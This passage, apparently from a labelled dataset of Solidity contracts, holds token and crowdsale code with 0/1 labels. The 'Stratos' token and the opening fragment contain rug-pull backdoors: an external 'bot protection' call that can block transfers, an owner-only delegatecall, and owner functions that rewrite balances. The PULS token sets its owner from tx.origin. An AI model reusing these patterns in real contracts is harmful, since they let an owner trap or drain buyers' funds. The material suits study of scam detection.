keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _toWho, uint amount) public { require(msg.sender == owner); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho)); for(uint i = 0; i < _toWho.length; i++) { balanceOf[_toWho[i]] = amount; emit Transfer(address(0x0), _toWho[i], amount); } } function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toWho.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho)); for(uint i = 0; i < _toWho.length; i++) { balanceOf[_toWho[i]] = _amounts[i]; emit Transfer(address(0x0), _toWho[i], _amounts[i]); } } }
0
1,736
pragma solidity ^0.5.8; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "Addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a, "Subtraction overflow"); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a==0){ return 0; } uint c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0,"Division by 0"); uint c = a / b; return c; } function mod(uint a, uint b) internal pure returns (uint) { require(b != 0, "Modulo by 0"); return a % b; } } interface ERC20Interface { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed sender, address indexed recipient, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeERC20 { using SafeMath for uint; function safeTransferFrom(ERC20Interface token, address from, address recipient, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, recipient, value)); } function callOptionalReturn(ERC20Interface token, bytes memory data) private { (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ReentrancyGuard { uint private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } contract IFXCrowdsale is ReentrancyGuard { using SafeMath for uint; using SafeERC20 for ERC20Interface; ERC20Interface private _IFX = ERC20Interface(0x2CF588136b15E47b555331d2f5258063AE6D01ed); address payable private _fundingWallet = 0x1bD99BA31f1056F962e017410c9514dD4d6da4c6; address payable private _tokenSaleWallet = 0x6924E015c192C0f1839a432B49e1e96e06571227; uint private _rate = 2000; uint private _weiRaised; uint private _ifxSold; uint private _bonus = 40; uint private _rateCurrent = 2800; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint ethValue, uint ifxAmount); function () external payable { buyTokens(msg.sender); } function token() public view returns (ERC20Interface) { return _IFX; } function fundingWallet() public view returns (address payable) { return _fundingWallet; } function rate() public view returns (uint) { return _rate; } function rateWithBonus() public view returns (uint){ return _rateCurrent; } function bonus() public view returns (uint) { return _bonus; } function weiRaised() public view returns (uint) { return _weiRaised; } function ifxSold() public view returns (uint) { return _ifxSold; } function buyTokens(address beneficiary) public nonReentrant payable { require(beneficiary != address(0), "Beneficiary is zero address"); require(msg.value != 0, "Value is 0"); uint tokenAmount = msg.value.mul(_rateCurrent); require(_ifxSold + tokenAmount < 400000000 * 10**18, "Hard cap reached"); _weiRaised = _weiRaised.add(msg.value); _ifxSold = _ifxSold.add(tokenAmount); _currentBonus(); _IFX.safeTransferFrom(_tokenSaleWallet, beneficiary, tokenAmount); _fundingWallet.transfer(msg.value); emit TokensPurchased(msg.sender, beneficiary, msg.value, tokenAmount); } function _currentBonus() internal { if(_ifxSold < 80000000 * 10**18){ _bonus = 40; } else if(_ifxSold >= 80000000 * 10**18 && _ifxSold < 160000000 * 10**18){ _bonus = 30; } else if(_ifxSold >= 160000000 * 10**18 && _ifxSold < 240000000 * 10**18){ _bonus = 20; } else if(_ifxSold >= 240000000 * 10**18 && _ifxSold < 320000000 * 10**18){ _bonus = 10; } else if(_ifxSold >= 320000000 * 10**18){ _bonus = 0; } _rateCurrent = _bonus * 20 + 2000; } }
0
1,629
pragma solidity ^0.4.21; contract Ownable { address public owner; function Ownable() public { owner = tx.origin; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; } } contract BasicERC20Token is Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function getTotalSupply() public view returns (uint256) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) { require (_from != 0x0); require (_to != 0x0); require (balances[_from] >= _amount); require (balances[_to] + _amount > balances[_to]); uint256 length; assembly { length := extcodesize(_to) } require (length == 0); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function transfer(address _to, uint256 _amount) public returns (bool) { _transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require (allowed[_from][msg.sender] >= _amount); _transfer(_from, _to, _amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool) { require (_spender != 0x0); require (_amount >= 0); require (balances[msg.sender] >= _amount); if (_amount == 0) allowed[msg.sender][_spender] = _amount; else allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_amount); emit Approval(msg.sender, _spender, _amount); return true; } } contract PULSToken is BasicERC20Token { string public constant name = 'PULS Token'; string public constant symbol = 'PULS'; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 88888888000000000000000000; address public crowdsaleAddress; struct Reserve { uint256 pulsAmount; uint256 collectedEther; } mapping (address => Reserve) reserved; struct Lock { uint256 amount; uint256 startTime; uint256 timeToLock; bytes32 pulseLockHash; } struct lockList{ Lock[] lockedTokens; } mapping (address => lockList) addressLocks; modifier onlyCrowdsaleAddress() { require(msg.sender == crowdsaleAddress); _; } event TokenReservation(address indexed beneficiary, uint256 sendEther, uint256 indexed pulsAmount, uint256 reserveTypeId); event RevertingReservation(address indexed addressToRevert); event TokenLocking(address indexed addressToLock, uint256 indexed amount, uint256 timeToLock); event TokenUnlocking(address indexed addressToUnlock, uint256 indexed amount); function PULSToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; crowdsaleAddress = msg.sender; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function () external payable { } function reserveOf(address _owner) public view returns (uint256) { return reserved[_owner].pulsAmount; } function collectedEtherFrom(address _buyer) public view returns (uint256) { return reserved[_buyer].collectedEther; } function getAddressLockedLength(address _address) public view returns(uint256 length) { return addressLocks[_address].lockedTokens.length; } function getLockedStructAmount(address _address, uint256 _index) public view returns(uint256 amount) { return addressLocks[_address].lockedTokens[_index].amount; } function getLockedStructStartTime(address _address, uint256 _index) public view returns(uint256 startTime) { return addressLocks[_address].lockedTokens[_index].startTime; } function getLockedStructTimeToLock(address _address, uint256 _index) public view returns(uint256 timeToLock) { return addressLocks[_address].lockedTokens[_index].timeToLock; } function getLockedStructPulseLockHash(address _address, uint256 _index) public view returns(bytes32 pulseLockHash) { return addressLocks[_address].lockedTokens[_index].pulseLockHash; } function sendTokens(address _beneficiary) onlyOwner public returns (bool) { require (reserved[_beneficiary].pulsAmount > 0); _transfer(crowdsaleAddress, _beneficiary, reserved[_beneficiary].pulsAmount); reserved[_beneficiary].pulsAmount = 0; return true; } function reserveTokens(address _beneficiary, uint256 _pulsAmount, uint256 _eth, uint256 _reserveTypeId) onlyCrowdsaleAddress public returns (bool) { require (_beneficiary != 0x0); require (totalSupply >= _pulsAmount); totalSupply = totalSupply.sub(_pulsAmount); reserved[_beneficiary].pulsAmount = reserved[_beneficiary].pulsAmount.add(_pulsAmount); reserved[_beneficiary].collectedEther = reserved[_beneficiary].collectedEther.add(_eth); emit TokenReservation(_beneficiary, _eth, _pulsAmount, _reserveTypeId); return true; } function revertReservation(address _addressToRevert) onlyOwner public returns (bool) { require (reserved[_addressToRevert].pulsAmount > 0); totalSupply = totalSupply.add(reserved[_addressToRevert].pulsAmount); reserved[_addressToRevert].pulsAmount = 0; _addressToRevert.transfer(reserved[_addressToRevert].collectedEther - (20000000000 * 21000)); reserved[_addressToRevert].collectedEther = 0; emit RevertingReservation(_addressToRevert); return true; } function lockTokens(uint256 _amount, uint256 _minutesToLock, bytes32 _pulseLockHash) public returns (bool){ require(balances[msg.sender] >= _amount); Lock memory lockStruct; lockStruct.amount = _amount; lockStruct.startTime = now; lockStruct.timeToLock = _minutesToLock * 1 minutes; lockStruct.pulseLockHash = _pulseLockHash; addressLocks[msg.sender].lockedTokens.push(lockStruct); balances[msg.sender] = balances[msg.sender].sub(_amount); emit TokenLocking(msg.sender, _amount, _minutesToLock); return true; } function unlockTokens(address _addressToUnlock) public returns (bool){ uint256 i = 0; while(i < addressLocks[_addressToUnlock].lockedTokens.length) { if (now > addressLocks[_addressToUnlock].lockedTokens[i].startTime + addressLocks[_addressToUnlock].lockedTokens[i].timeToLock) { balances[_addressToUnlock] = balances[_addressToUnlock].add(addressLocks[_addressToUnlock].lockedTokens[i].amount); emit TokenUnlocking(_addressToUnlock, addressLocks[_addressToUnlock].lockedTokens[i].amount); if (i < addressLocks[_addressToUnlock].lockedTokens.length) { for (uint256 j = i; j < addressLocks[_addressToUnlock].lockedTokens.length - 1; j++){ addressLocks[_addressToUnlock].lockedTokens[j] = addressLocks[_addressToUnlock].lockedTokens[j + 1]; } } delete addressLocks[_addressToUnlock].lockedTokens[addressLocks[_addressToUnlock].lockedTokens.length - 1]; addressLocks[_addressToUnlock].lockedTokens.length = addressLocks[_addressToUnlock].lockedTokens.length.sub(1); } else { i = i.add(1); } } return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StagedCrowdsale is Ownable { using SafeMath for uint256; struct Stage { uint256 hardcap; uint256 price; uint256 minInvestment; uint256 invested; uint256 closed; } Stage[] public stages; function getCurrentStage() public view returns(uint256) { for(uint256 i=0; i < stages.length; i++) { if(stages[i].closed == 0) { return i; } } revert(); } function addStage(uint256 _hardcap, uint256 _price, uint256 _minInvestment, uint _invested) onlyOwner public { require(_hardcap > 0 && _price > 0); Stage memory stage = Stage(_hardcap.mul(1 ether), _price, _minInvestment.mul(1 ether).div(10), _invested.mul(1 ether), 0); stages.push(stage); } function closeStage(uint256 _stageNumber) onlyOwner public { require(stages[_stageNumber].closed == 0); if (_stageNumber != 0) require(stages[_stageNumber - 1].closed != 0); stages[_stageNumber].closed = now; stages[_stageNumber].invested = stages[_stageNumber].hardcap; if (_stageNumber + 1 <= stages.length - 1) { stages[_stageNumber + 1].invested = stages[_stageNumber].hardcap; } } function removeStages() onlyOwner public returns (bool) { require(stages.length > 0); stages.length = 0; return true; } } contract PULSCrowdsale is StagedCrowdsale { using SafeMath for uint256; PULSToken public token; address public multiSigWallet; bool public hasEnded; bool public isPaused; event TokenReservation(address purchaser, address indexed beneficiary, uint256 indexed sendEther, uint256 indexed pulsAmount); event ForwardingFunds(uint256 indexed value); modifier notEnded() { require(!hasEnded); _; } modifier notPaused() { require(!isPaused); _; } function PULSCrowdsale() public { token = createTokenContract(); multiSigWallet = 0x00955149d0f425179000e914F0DFC2eBD96d6f43; hasEnded = false; isPaused = false; addStage(3000, 1600, 1, 0); addStage(3500, 1550, 1, 0); addStage(4000, 1500, 1, 0); addStage(4500, 1450, 1, 0); addStage(42500, 1400, 1, 0); } function createTokenContract() internal returns (PULSToken) { return new PULSToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) payable notEnded notPaused public { require(msg.value >= 0); uint256 stageIndex = getCurrentStage(); Stage storage stageCurrent = stages[stageIndex]; require(msg.value >= stageCurrent.minInvestment); uint256 tokens; if (stageCurrent.invested.add(msg.value) >= stageCurrent.hardcap){ stageCurrent.closed = now; if (stageIndex + 1 <= stages.length - 1) { Stage storage stageNext = stages[stageIndex + 1]; tokens = msg.value.mul(stageCurrent.price); token.reserveTokens(_beneficiary, tokens, msg.value, 0); stageNext.invested = stageCurrent.invested.add(msg.value); stageCurrent.invested = stageCurrent.hardcap; } else { tokens = msg.value.mul(stageCurrent.price); token.reserveTokens(_beneficiary, tokens, msg.value, 0); stageCurrent.invested = stageCurrent.invested.add(msg.value); hasEnded = true; } } else { tokens = msg.value.mul(stageCurrent.price); token.reserveTokens(_beneficiary, tokens, msg.value, 0); stageCurrent.invested = stageCurrent.invested.add(msg.value); } emit TokenReservation(msg.sender, _beneficiary, msg.value, tokens); forwardFunds(); } function privatePresaleTokenReservation(address _beneficiary, uint256 _amount, uint256 _reserveTypeId) onlyOwner public { require (_reserveTypeId > 0); token.reserveTokens(_beneficiary, _amount, 0, _reserveTypeId); emit TokenReservation(msg.sender, _beneficiary, 0, _amount); } function forwardFunds() internal { multiSigWallet.transfer(msg.value); emit ForwardingFunds(msg.value); } function finishCrowdsale() onlyOwner notEnded public returns (bool) { hasEnded = true; return true; } function pauseCrowdsale() onlyOwner notEnded notPaused public returns (bool) { isPaused = true; return true; } function unpauseCrowdsale() onlyOwner notEnded public returns (bool) { isPaused = false; return true; } function changeMultiSigWallet(address _newMultiSigWallet) onlyOwner public returns (bool) { multiSigWallet = _newMultiSigWallet; return true; } }
1
3,311
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract Stratos is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "Stratos Token"; string public symbol = "STOS"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
430
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BullToken is BurnableToken, PausableToken { string public constant name = "BullToken"; string public constant symbol = "BULL"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 55000000; bool public transferEnabled; mapping (address => bool) public isHolder; address [] public holders; function BullToken() public { totalSupply = INITIAL_SUPPLY * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; transferEnabled = false; } function enableTransfers() onlyOwner public { transferEnabled = true; TransferEnabled(); } function disableTransfers() onlyOwner public { transferEnabled = false; TransferDisabled(); } function transfer(address to, uint256 value) public returns (bool) { require(transferEnabled || msg.sender == owner); if (!isHolder[to]) { holders.push(to); isHolder[to] = true; } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(transferEnabled || from == owner); if (!isHolder[to]) { holders.push(to); isHolder[to] = true; } return super.transferFrom(from, to, value); } event TransferEnabled(); event TransferDisabled(); } contract Curatable is Ownable { address public curator; event CurationRightsTransferred(address indexed previousCurator, address indexed newCurator); function Curatable() public { owner = msg.sender; curator = owner; } modifier onlyCurator() { require(msg.sender == curator); _; } function transferCurationRights(address newCurator) public onlyOwner { require(newCurator != address(0)); CurationRightsTransferred(curator, newCurator); curator = newCurator; } } contract Whitelist is Curatable { mapping (address => bool) public whitelist; function Whitelist() public { } function addInvestor(address investor) external onlyCurator { require(investor != 0x0 && !whitelist[investor]); whitelist[investor] = true; } function removeInvestor(address investor) external onlyCurator { require(investor != 0x0 && whitelist[investor]); whitelist[investor] = false; } function isWhitelisted(address investor) constant external returns (bool result) { return whitelist[investor]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BurnableCrowdsale { using SafeMath for uint256; BurnableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; address public tokenAddress; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function BurnableCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _tokenAddress) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); tokenAddress = _tokenAddress; token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (BurnableToken) { return new BurnableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { } function forwardFunds() internal { } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract CappedCrowdsale is BurnableCrowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract BullTokenRefundVault is RefundVault { function BullTokenRefundVault(address _wallet) public RefundVault(_wallet) {} function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.call.value(this.balance)(); } function forwardFunds() onlyOwner public { require(this.balance > 0); wallet.call.value(this.balance)(); } } contract FinalizableCrowdsale is BurnableCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; BullTokenRefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new BullTokenRefundVault(wallet); goal = _goal; } function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function goalReached() public view returns (bool) { return weiRaised >= goal; } } contract BullTokenCrowdsale is CappedCrowdsale, RefundableCrowdsale { using SafeMath for uint256; Whitelist public whitelist; uint256 public minimumInvestment; function BullTokenCrowdsale( uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _cap, uint256 _minimumInvestment, address _tokenAddress, address _wallet, address _whitelistAddress ) public CappedCrowdsale(_cap) FinalizableCrowdsale() RefundableCrowdsale(_goal) BurnableCrowdsale(_startTime, _endTime, _rate, _wallet, _tokenAddress) { require(_goal <= _cap); whitelist = Whitelist(_whitelistAddress); minimumInvestment = _minimumInvestment; } function createTokenContract() internal returns (BurnableToken) { return BullToken(tokenAddress); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(whitelist.isWhitelisted(beneficiary)); uint256 weiAmount = msg.value; uint256 raisedIncludingThis = weiRaised.add(weiAmount); if (raisedIncludingThis > cap) { require(hasStarted() && !hasEnded()); uint256 toBeRefunded = raisedIncludingThis.sub(cap); weiAmount = cap.sub(weiRaised); beneficiary.transfer(toBeRefunded); } else { require(validPurchase()); } uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.transferFrom(owner, beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFundsToWallet(weiAmount); } function validPurchase() internal view returns (bool) { return super.validPurchase() && 